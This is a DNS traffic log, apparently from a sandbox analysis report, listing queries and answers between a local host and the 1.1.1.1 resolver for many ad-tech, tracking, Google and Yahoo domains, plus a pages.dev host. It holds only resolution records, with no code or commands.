Jan 11, 2024 00:27:22.674865007 CET	192.168.2.4	1.1.1.1	0xa0b6	Standard query (0)	core.iprom.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:22.675344944 CET	192.168.2.4	1.1.1.1	0xb35a	Standard query (0)	core.iprom.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:23.470619917 CET	192.168.2.4	1.1.1.1	0x69c7	Standard query (0)	thrtle.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.470801115 CET	192.168.2.4	1.1.1.1	0x5679	Standard query (0)	thrtle.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:23.471590042 CET	192.168.2.4	1.1.1.1	0xec8f	Standard query (0)	crb.kargo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.471724987 CET	192.168.2.4	1.1.1.1	0xc6b0	Standard query (0)	crb.kargo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:23.472129107 CET	192.168.2.4	1.1.1.1	0xa832	Standard query (0)	sync.bfmio.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.472264051 CET	192.168.2.4	1.1.1.1	0x4fc9	Standard query (0)	sync.bfmio.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:23.472630024 CET	192.168.2.4	1.1.1.1	0x8187	Standard query (0)	pubmatic-match.dotomi.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.472763062 CET	192.168.2.4	1.1.1.1	0xc962	Standard query (0)	pubmatic-match.dotomi.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:23.473145008 CET	192.168.2.4	1.1.1.1	0x989e	Standard query (0)	pixel-sync.sitescout.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.473282099 CET	192.168.2.4	1.1.1.1	0xd38e	Standard query (0)	pixel-sync.sitescout.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:23.473644018 CET	192.168.2.4	1.1.1.1	0xc2ad	Standard query (0)	rtb.adentifi.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.473782063 CET	192.168.2.4	1.1.1.1	0x7ea8	Standard query (0)	rtb.adentifi.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:23.477740049 CET	192.168.2.4	1.1.1.1	0x5018	Standard query (0)	c1.adform.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.477926970 CET	192.168.2.4	1.1.1.1	0x3218	Standard query (0)	c1.adform.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:23.820328951 CET	192.168.2.4	1.1.1.1	0x49a0	Standard query (0)	aax-eu.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.820503950 CET	192.168.2.4	1.1.1.1	0xb8fb	Standard query (0)	aax-eu.amazon-adsystem.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:23.899481058 CET	192.168.2.4	1.1.1.1	0xde55	Standard query (0)	sync.targeting.unrulymedia.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.899801016 CET	192.168.2.4	1.1.1.1	0x2888	Standard query (0)	sync.targeting.unrulymedia.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:24.157478094 CET	192.168.2.4	1.1.1.1	0x315c	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:24.157679081 CET	192.168.2.4	1.1.1.1	0x7df0	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:25.099792957 CET	192.168.2.4	1.1.1.1	0x111	Standard query (0)	capi.connatix.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:25.099968910 CET	192.168.2.4	1.1.1.1	0x2751	Standard query (0)	capi.connatix.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:25.182049036 CET	192.168.2.4	1.1.1.1	0x48d2	Standard query (0)	rtb.adstanding.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:25.182316065 CET	192.168.2.4	1.1.1.1	0x4faf	Standard query (0)	rtb.adstanding.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:25.197798014 CET	192.168.2.4	1.1.1.1	0x63ce	Standard query (0)	prebid.a-mo.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:25.198076010 CET	192.168.2.4	1.1.1.1	0x227f	Standard query (0)	prebid.a-mo.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:25.394701958 CET	192.168.2.4	1.1.1.1	0x19f2	Standard query (0)	ad.mrtnsvr.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:25.394844055 CET	192.168.2.4	1.1.1.1	0x3e5c	Standard query (0)	ad.mrtnsvr.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:25.502460003 CET	192.168.2.4	1.1.1.1	0x64f4	Standard query (0)	a.tribalfusion.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:25.502682924 CET	192.168.2.4	1.1.1.1	0xe0cd	Standard query (0)	a.tribalfusion.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:25.667779922 CET	192.168.2.4	1.1.1.1	0xf388	Standard query (0)	t.adx.opera.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:25.667927980 CET	192.168.2.4	1.1.1.1	0x3d24	Standard query (0)	t.adx.opera.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:26.042857885 CET	192.168.2.4	1.1.1.1	0x50d6	Standard query (0)	px.owneriq.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.043029070 CET	192.168.2.4	1.1.1.1	0x5218	Standard query (0)	px.owneriq.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:26.048259020 CET	192.168.2.4	1.1.1.1	0x7668	Standard query (0)	synchroscript.deliveryengine.adswizz.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.048403978 CET	192.168.2.4	1.1.1.1	0xf967	Standard query (0)	synchroscript.deliveryengine.adswizz.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:26.048827887 CET	192.168.2.4	1.1.1.1	0xd250	Standard query (0)	idsync.rlcdn.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.048979044 CET	192.168.2.4	1.1.1.1	0xd7c4	Standard query (0)	idsync.rlcdn.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:26.049396038 CET	192.168.2.4	1.1.1.1	0x4eb2	Standard query (0)	bcp.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.049530029 CET	192.168.2.4	1.1.1.1	0xd190	Standard query (0)	bcp.crwdcntrl.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:26.050690889 CET	192.168.2.4	1.1.1.1	0x72e2	Standard query (0)	pmp.mxptint.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.050849915 CET	192.168.2.4	1.1.1.1	0x71c	Standard query (0)	pmp.mxptint.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:26.051652908 CET	192.168.2.4	1.1.1.1	0xef11	Standard query (0)	match.adsby.bidtheatre.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.051826954 CET	192.168.2.4	1.1.1.1	0x94eb	Standard query (0)	match.adsby.bidtheatre.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:26.248317003 CET	192.168.2.4	1.1.1.1	0x729f	Standard query (0)	s.tribalfusion.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.248517990 CET	192.168.2.4	1.1.1.1	0xc6c	Standard query (0)	s.tribalfusion.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:26.848303080 CET	192.168.2.4	1.1.1.1	0x257a	Standard query (0)	live.primis.tech	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.848464966 CET	192.168.2.4	1.1.1.1	0xc2a5	Standard query (0)	live.primis.tech	65	IN (0x0001)	false
Jan 11, 2024 00:27:27.403914928 CET	192.168.2.4	1.1.1.1	0x6f02	Standard query (0)	sync.intentiq.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:27.404109955 CET	192.168.2.4	1.1.1.1	0xd892	Standard query (0)	sync.intentiq.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:27.471990108 CET	192.168.2.4	1.1.1.1	0xb917	Standard query (0)	pippio.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:27.472285986 CET	192.168.2.4	1.1.1.1	0xb887	Standard query (0)	pippio.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:27.587781906 CET	192.168.2.4	1.1.1.1	0xddd0	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:27.587950945 CET	192.168.2.4	1.1.1.1	0x7828	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:27.724832058 CET	192.168.2.4	1.1.1.1	0x72cb	Standard query (0)	token.rubiconproject.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:27.724992990 CET	192.168.2.4	1.1.1.1	0x66e2	Standard query (0)	token.rubiconproject.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:27.972024918 CET	192.168.2.4	1.1.1.1	0x5e47	Standard query (0)	sync1.intentiq.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:27.972197056 CET	192.168.2.4	1.1.1.1	0xe08c	Standard query (0)	sync1.intentiq.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:28.133531094 CET	192.168.2.4	1.1.1.1	0xe999	Standard query (0)	bpi.rtactivate.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.133692980 CET	192.168.2.4	1.1.1.1	0xff94	Standard query (0)	bpi.rtactivate.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:28.134258032 CET	192.168.2.4	1.1.1.1	0x7144	Standard query (0)	i.liadm.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.134434938 CET	192.168.2.4	1.1.1.1	0x7923	Standard query (0)	i.liadm.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:28.136147022 CET	192.168.2.4	1.1.1.1	0xb494	Standard query (0)	sync.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.136480093 CET	192.168.2.4	1.1.1.1	0xc9aa	Standard query (0)	sync.crwdcntrl.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:28.136935949 CET	192.168.2.4	1.1.1.1	0x2d12	Standard query (0)	io.narrative.io	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.137166977 CET	192.168.2.4	1.1.1.1	0x9a1d	Standard query (0)	io.narrative.io	65	IN (0x0001)	false
Jan 11, 2024 00:27:28.296435118 CET	192.168.2.4	1.1.1.1	0x5b68	Standard query (0)	pixel.tapad.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.296725035 CET	192.168.2.4	1.1.1.1	0x573a	Standard query (0)	pixel.tapad.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:28.297873020 CET	192.168.2.4	1.1.1.1	0x9b9c	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.298113108 CET	192.168.2.4	1.1.1.1	0x1249	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:28.306433916 CET	192.168.2.4	1.1.1.1	0xaf91	Standard query (0)	ssum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.306624889 CET	192.168.2.4	1.1.1.1	0xc7ed	Standard query (0)	ssum-sec.casalemedia.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:28.426217079 CET	192.168.2.4	1.1.1.1	0xc09c	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.426392078 CET	192.168.2.4	1.1.1.1	0xe428	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:28.428666115 CET	192.168.2.4	1.1.1.1	0x26fb	Standard query (0)	images.taboola.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.428800106 CET	192.168.2.4	1.1.1.1	0xf61b	Standard query (0)	images.taboola.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:28.429747105 CET	192.168.2.4	1.1.1.1	0x318d	Standard query (0)	a.beap.gemini.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.429929972 CET	192.168.2.4	1.1.1.1	0xc97b	Standard query (0)	a.beap.gemini.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:28.431051016 CET	192.168.2.4	1.1.1.1	0xc418	Standard query (0)	us-u.openx.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.431312084 CET	192.168.2.4	1.1.1.1	0x2434	Standard query (0)	us-u.openx.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:28.431902885 CET	192.168.2.4	1.1.1.1	0xbad1	Standard query (0)	crb.kargo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.432199955 CET	192.168.2.4	1.1.1.1	0x6cae	Standard query (0)	crb.kargo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:28.435688972 CET	192.168.2.4	1.1.1.1	0xc698	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.437150955 CET	192.168.2.4	1.1.1.1	0xe635	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:28.443448067 CET	192.168.2.4	1.1.1.1	0x1fc6	Standard query (0)	trace.mediago.io	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.443715096 CET	192.168.2.4	1.1.1.1	0xfa01	Standard query (0)	trace.mediago.io	65	IN (0x0001)	false
Jan 11, 2024 00:27:28.574517012 CET	192.168.2.4	1.1.1.1	0x2505	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.574660063 CET	192.168.2.4	1.1.1.1	0x82f6	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:29.136648893 CET	192.168.2.4	1.1.1.1	0x1dc0	Standard query (0)	thrtle.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.136845112 CET	192.168.2.4	1.1.1.1	0xc6a	Standard query (0)	thrtle.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:29.151936054 CET	192.168.2.4	1.1.1.1	0x5919	Standard query (0)	aax-eu.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.152086020 CET	192.168.2.4	1.1.1.1	0x1fb8	Standard query (0)	aax-eu.amazon-adsystem.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:29.215619087 CET	192.168.2.4	1.1.1.1	0xc77e	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.215993881 CET	192.168.2.4	1.1.1.1	0x5d3d	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:29.226798058 CET	192.168.2.4	1.1.1.1	0xb31c	Standard query (0)	match.sharethrough.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.226969004 CET	192.168.2.4	1.1.1.1	0xa1d6	Standard query (0)	match.sharethrough.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:29.414757013 CET	192.168.2.4	1.1.1.1	0xba02	Standard query (0)	synchroscript.deliveryengine.adswizz.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.415107965 CET	192.168.2.4	1.1.1.1	0x24f4	Standard query (0)	synchroscript.deliveryengine.adswizz.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:29.468672991 CET	192.168.2.4	1.1.1.1	0x2dab	Standard query (0)	bcp.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.468981981 CET	192.168.2.4	1.1.1.1	0x1e1c	Standard query (0)	bcp.crwdcntrl.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:29.762340069 CET	192.168.2.4	1.1.1.1	0x6381	Standard query (0)	capi.connatix.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.762561083 CET	192.168.2.4	1.1.1.1	0xbf91	Standard query (0)	capi.connatix.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:29.849836111 CET	192.168.2.4	1.1.1.1	0x2a7f	Standard query (0)	pmp.mxptint.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.850060940 CET	192.168.2.4	1.1.1.1	0xc8f7	Standard query (0)	pmp.mxptint.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:29.989054918 CET	192.168.2.4	1.1.1.1	0xd4ca	Standard query (0)	sync1.intentiq.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.989248037 CET	192.168.2.4	1.1.1.1	0x13fb	Standard query (0)	sync1.intentiq.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:30.184891939 CET	192.168.2.4	1.1.1.1	0x365a	Standard query (0)	idsync.rlcdn.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.185125113 CET	192.168.2.4	1.1.1.1	0x199f	Standard query (0)	idsync.rlcdn.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:30.187941074 CET	192.168.2.4	1.1.1.1	0xf50b	Standard query (0)	sync.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.188101053 CET	192.168.2.4	1.1.1.1	0x86f5	Standard query (0)	sync.crwdcntrl.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:30.189313889 CET	192.168.2.4	1.1.1.1	0x8868	Standard query (0)	bpi.rtactivate.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.189472914 CET	192.168.2.4	1.1.1.1	0xffd1	Standard query (0)	bpi.rtactivate.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:30.667956114 CET	192.168.2.4	1.1.1.1	0x523b	Standard query (0)	i6.liadm.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.668195009 CET	192.168.2.4	1.1.1.1	0xe2cd	Standard query (0)	i6.liadm.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:31.184245110 CET	192.168.2.4	1.1.1.1	0xa53f	Standard query (0)	i6.liadm.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:31.184503078 CET	192.168.2.4	1.1.1.1	0x26af	Standard query (0)	i6.liadm.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:33.768982887 CET	192.168.2.4	1.1.1.1	0x49c	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:33.769166946 CET	192.168.2.4	1.1.1.1	0x3f98	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:34.579546928 CET	192.168.2.4	1.1.1.1	0x4672	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:34.579675913 CET	192.168.2.4	1.1.1.1	0x6275	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:34.619457006 CET	192.168.2.4	1.1.1.1	0x4464	Standard query (0)	clients1.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:34.619571924 CET	192.168.2.4	1.1.1.1	0xef9	Standard query (0)	clients1.google.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:35.854253054 CET	192.168.2.4	1.1.1.1	0xfe42	Standard query (0)	geo.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:35.854351044 CET	192.168.2.4	1.1.1.1	0xa5f8	Standard query (0)	geo.yahoo.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2024 00:26:07.304836035 CET	1.1.1.1	192.168.2.4	0xd394	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:26:07.304836035 CET	1.1.1.1	192.168.2.4	0xd394	No error (0)	clients.l.google.com		172.253.122.102	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:07.304836035 CET	1.1.1.1	192.168.2.4	0xd394	No error (0)	clients.l.google.com		172.253.122.139	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:07.304836035 CET	1.1.1.1	192.168.2.4	0xd394	No error (0)	clients.l.google.com		172.253.122.113	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:07.304836035 CET	1.1.1.1	192.168.2.4	0xd394	No error (0)	clients.l.google.com		172.253.122.138	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:07.304836035 CET	1.1.1.1	192.168.2.4	0xd394	No error (0)	clients.l.google.com		172.253.122.100	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:07.304836035 CET	1.1.1.1	192.168.2.4	0xd394	No error (0)	clients.l.google.com		172.253.122.101	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:07.304954052 CET	1.1.1.1	192.168.2.4	0xbd38	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:26:07.305507898 CET	1.1.1.1	192.168.2.4	0xf0dd	No error (0)	accounts.google.com		172.253.62.84	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:09.470972061 CET	1.1.1.1	192.168.2.4	0x405a	No error (0)	see-eim.pages.dev			65	IN (0x0001)	false
Jan 11, 2024 00:26:09.471384048 CET	1.1.1.1	192.168.2.4	0x8568	No error (0)	see-eim.pages.dev		172.66.47.129	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:09.471384048 CET	1.1.1.1	192.168.2.4	0x8568	No error (0)	see-eim.pages.dev		172.66.44.127	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:09.643930912 CET	1.1.1.1	192.168.2.4	0xa582	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 11, 2024 00:26:09.643958092 CET	1.1.1.1	192.168.2.4	0x5eb9	No error (0)	www.google.com		142.251.167.147	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:09.643958092 CET	1.1.1.1	192.168.2.4	0x5eb9	No error (0)	www.google.com		142.251.167.106	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:09.643958092 CET	1.1.1.1	192.168.2.4	0x5eb9	No error (0)	www.google.com		142.251.167.99	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:09.643958092 CET	1.1.1.1	192.168.2.4	0x5eb9	No error (0)	www.google.com		142.251.167.104	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:09.643958092 CET	1.1.1.1	192.168.2.4	0x5eb9	No error (0)	www.google.com		142.251.167.103	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:09.643958092 CET	1.1.1.1	192.168.2.4	0x5eb9	No error (0)	www.google.com		142.251.167.105	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:10.186841011 CET	1.1.1.1	192.168.2.4	0xd9c1	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:26:10.186841011 CET	1.1.1.1	192.168.2.4	0xd9c1	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:10.186841011 CET	1.1.1.1	192.168.2.4	0xd9c1	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:10.188167095 CET	1.1.1.1	192.168.2.4	0x9f87	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:26:10.716023922 CET	1.1.1.1	192.168.2.4	0xf1f2	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:26:10.716023922 CET	1.1.1.1	192.168.2.4	0xf1f2	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:10.716023922 CET	1.1.1.1	192.168.2.4	0xf1f2	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:10.716274977 CET	1.1.1.1	192.168.2.4	0x6bbf	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:26:10.867662907 CET	1.1.1.1	192.168.2.4	0x4a4e	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:24.086591005 CET	1.1.1.1	192.168.2.4	0xd943	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:26:24.086591005 CET	1.1.1.1	192.168.2.4	0xd943	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:27.764297009 CET	1.1.1.1	192.168.2.4	0x723a	No error (0)	login.yahoo.com	ds-ats.member.g02.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:26:27.764297009 CET	1.1.1.1	192.168.2.4	0x723a	No error (0)	ds-ats.member.g02.yahoodns.net		67.195.204.151	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:27.764673948 CET	1.1.1.1	192.168.2.4	0x47a6	No error (0)	login.yahoo.com	ds-ats.member.g02.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:26:28.541388035 CET	1.1.1.1	192.168.2.4	0x5e4a	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:26:28.541388035 CET	1.1.1.1	192.168.2.4	0x5e4a	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.541388035 CET	1.1.1.1	192.168.2.4	0x5e4a	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.544305086 CET	1.1.1.1	192.168.2.4	0xef2c	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:26:28.545351982 CET	1.1.1.1	192.168.2.4	0xf7bf	No error (0)	google.com			65	IN (0x0001)	false
Jan 11, 2024 00:26:28.546185970 CET	1.1.1.1	192.168.2.4	0x1aea	No error (0)	google.com		142.251.16.138	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.546185970 CET	1.1.1.1	192.168.2.4	0x1aea	No error (0)	google.com		142.251.16.100	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.546185970 CET	1.1.1.1	192.168.2.4	0x1aea	No error (0)	google.com		142.251.16.139	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.546185970 CET	1.1.1.1	192.168.2.4	0x1aea	No error (0)	google.com		142.251.16.113	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.546185970 CET	1.1.1.1	192.168.2.4	0x1aea	No error (0)	google.com		142.251.16.101	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.546185970 CET	1.1.1.1	192.168.2.4	0x1aea	No error (0)	google.com		142.251.16.102	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.647252083 CET	1.1.1.1	192.168.2.4	0x75b8	No error (0)	geo.yahoo.com	geo-atsv2.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:26:28.647252083 CET	1.1.1.1	192.168.2.4	0x75b8	No error (0)	geo-atsv2.media.g03.yahoodns.net		66.218.87.15	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.647380114 CET	1.1.1.1	192.168.2.4	0x3362	No error (0)	geo.query.yahoo.com	udc-ats.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:26:28.647380114 CET	1.1.1.1	192.168.2.4	0x3362	No error (0)	udc-ats.media.g03.yahoodns.net		66.218.87.15	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.648452044 CET	1.1.1.1	192.168.2.4	0x3744	No error (0)	geo.query.yahoo.com	udc-ats.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:26:28.648488998 CET	1.1.1.1	192.168.2.4	0xd3f5	No error (0)	geo.yahoo.com	geo-atsv2.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:26:28.748435020 CET	1.1.1.1	192.168.2.4	0xab04	Name error (3)	y.analytics.yahoo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.749764919 CET	1.1.1.1	192.168.2.4	0x8d4d	Name error (3)	y.analytics.yahoo.com	none	none	65	IN (0x0001)	false
Jan 11, 2024 00:26:28.849261045 CET	1.1.1.1	192.168.2.4	0xeb4b	Name error (3)	y.analytics.yahoo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:29.692318916 CET	1.1.1.1	192.168.2.4	0x8178	No error (0)	udc.yahoo.com	udc-ats.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
